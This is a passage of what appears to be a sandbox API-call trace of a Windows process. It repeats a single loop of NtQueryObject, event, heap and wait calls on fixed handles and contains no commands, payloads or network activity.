(hEvent=0xdc) returned 1 [0094.218] SetEvent (hEvent=0xe0) returned 1 [0094.218] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.219] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.219] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.219] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.219] ResetEvent (hEvent=0xdc) returned 1 [0094.219] SetEvent (hEvent=0xe0) returned 1 [0094.219] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.219] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.220] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.220] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.220] ResetEvent (hEvent=0xdc) returned 1 [0094.220] SetEvent (hEvent=0xe0) returned 1 [0094.220] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.220] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.221] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.221] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.221] ResetEvent (hEvent=0xdc) returned 1 [0094.221] SetEvent (hEvent=0xe0) returned 1 [0094.221] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.221] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.222] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.222] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.222] ResetEvent (hEvent=0xdc) returned 1 [0094.222] SetEvent (hEvent=0xe0) returned 1 [0094.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.222] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.222] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.222] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.223] ResetEvent (hEvent=0xdc) returned 1 [0094.223] SetEvent (hEvent=0xe0) returned 1 [0094.223] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.223] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.223] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.223] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.223] ResetEvent (hEvent=0xdc) returned 1 [0094.223] SetEvent (hEvent=0xe0) returned 1 [0094.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.224] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.224] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.224] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.224] ResetEvent (hEvent=0xdc) returned 1 [0094.224] SetEvent (hEvent=0xe0) returned 1 [0094.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.225] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.225] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.225] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.225] ResetEvent (hEvent=0xdc) returned 1 [0094.225] SetEvent (hEvent=0xe0) returned 1 [0094.225] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.226] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.226] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.226] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.226] ResetEvent (hEvent=0xdc) returned 1 [0094.226] SetEvent (hEvent=0xe0) returned 1 [0094.226] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.226] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.227] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.227] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.227] ResetEvent (hEvent=0xdc) returned 1 [0094.227] SetEvent (hEvent=0xe0) returned 1 [0094.227] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.227] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.228] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.228] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.228] ResetEvent (hEvent=0xdc) returned 1 [0094.228] SetEvent (hEvent=0xe0) returned 1 [0094.228] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.228] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.229] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.229] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.229] ResetEvent (hEvent=0xdc) returned 1 [0094.229] SetEvent (hEvent=0xe0) returned 1 [0094.229] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.229] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.229] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.229] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.230] ResetEvent (hEvent=0xdc) returned 1 [0094.230] SetEvent (hEvent=0xe0) returned 1 [0094.230] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.230] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.230] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.230] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.230] ResetEvent (hEvent=0xdc) returned 1 [0094.231] SetEvent (hEvent=0xe0) returned 1 [0094.231] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.231] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.231] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.231] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.231] ResetEvent (hEvent=0xdc) returned 1 [0094.231] SetEvent (hEvent=0xe0) returned 1 [0094.232] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.232] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.232] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.232] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.232] ResetEvent (hEvent=0xdc) returned 1 [0094.232] SetEvent (hEvent=0xe0) returned 1 [0094.232] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.233] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.233] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.233] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.233] ResetEvent (hEvent=0xdc) returned 1 [0094.233] SetEvent (hEvent=0xe0) returned 1 [0094.233] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.234] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.234] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.234] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.234] ResetEvent (hEvent=0xdc) returned 1 [0094.234] SetEvent (hEvent=0xe0) returned 1 [0094.234] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.234] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.235] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.235] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.235] ResetEvent (hEvent=0xdc) returned 1 [0094.235] SetEvent (hEvent=0xe0) returned 1 [0094.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.235] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.236] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.236] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.236] ResetEvent (hEvent=0xdc) returned 1 [0094.236] SetEvent (hEvent=0xe0) returned 1 [0094.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.236] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.237] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.237] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.237] ResetEvent (hEvent=0xdc) returned 1 [0094.237] SetEvent (hEvent=0xe0) returned 1 [0094.237] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.237] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.237] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.237] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.237] ResetEvent (hEvent=0xdc) returned 1 [0094.237] SetEvent (hEvent=0xe0) returned 1 [0094.238] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.238] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.238] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.238] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.238] ResetEvent (hEvent=0xdc) returned 1 [0094.238] SetEvent (hEvent=0xe0) returned 1 [0094.238] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.239] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.239] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.239] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.239] ResetEvent (hEvent=0xdc) returned 1 [0094.239] SetEvent (hEvent=0xe0) returned 1 [0094.239] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.239] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.240] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.240] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.240] ResetEvent (hEvent=0xdc) returned 1 [0094.240] SetEvent (hEvent=0xe0) returned 1 [0094.240] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.240] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.241] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.241] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.241] ResetEvent (hEvent=0xdc) returned 1 [0094.241] SetEvent (hEvent=0xe0) returned 1 [0094.241] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.241] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.242] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.242] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.242] ResetEvent (hEvent=0xdc) returned 1 [0094.242] SetEvent (hEvent=0xe0) returned 1 [0094.242] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.242] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.242] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.243] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.243] ResetEvent (hEvent=0xdc) returned 1 [0094.243] SetEvent (hEvent=0xe0) returned 1 [0094.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.243] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.243] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.243] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.243] ResetEvent (hEvent=0xdc) returned 1 [0094.243] SetEvent (hEvent=0xe0) returned 1 [0094.244] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.244] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.244] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.244] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.244] ResetEvent (hEvent=0xdc) returned 1 [0094.244] SetEvent (hEvent=0xe0) returned 1 [0094.245] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.245] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.245] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.245] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.245] ResetEvent (hEvent=0xdc) returned 1 [0094.245] SetEvent (hEvent=0xe0) returned 1 [0094.245] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.246] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.246] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.246] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.246] ResetEvent (hEvent=0xdc) returned 1 [0094.246] SetEvent (hEvent=0xe0) returned 1 [0094.246] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.247] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.247] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.247] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.247] ResetEvent (hEvent=0xdc) returned 1 [0094.247] SetEvent (hEvent=0xe0) returned 1 [0094.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.247] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.248] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.248] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.248] ResetEvent (hEvent=0xdc) returned 1 [0094.248] SetEvent (hEvent=0xe0) returned 1 [0094.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.248] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.249] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.249] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.249] ResetEvent (hEvent=0xdc) returned 1 [0094.249] SetEvent (hEvent=0xe0) returned 1 [0094.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.249] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.250] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.250] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.250] ResetEvent (hEvent=0xdc) returned 1 [0094.250] SetEvent (hEvent=0xe0) returned 1 [0094.250] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.250] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.250] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.251] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.251] ResetEvent (hEvent=0xdc) returned 1 [0094.251] SetEvent (hEvent=0xe0) returned 1 [0094.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.251] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.251] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.251] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.251] ResetEvent (hEvent=0xdc) returned 1 [0094.251] SetEvent (hEvent=0xe0) returned 1 [0094.252] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.252] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.252] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.252] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.252] ResetEvent (hEvent=0xdc) returned 1 [0094.252] SetEvent (hEvent=0xe0) returned 1 [0094.252] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.253] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.253] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.253] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.253] ResetEvent (hEvent=0xdc) returned 1 [0094.253] SetEvent (hEvent=0xe0) returned 1 [0094.253] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.254] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.254] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.254] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.254] ResetEvent (hEvent=0xdc) returned 1 [0094.254] SetEvent (hEvent=0xe0) returned 1 [0094.254] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.254] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, 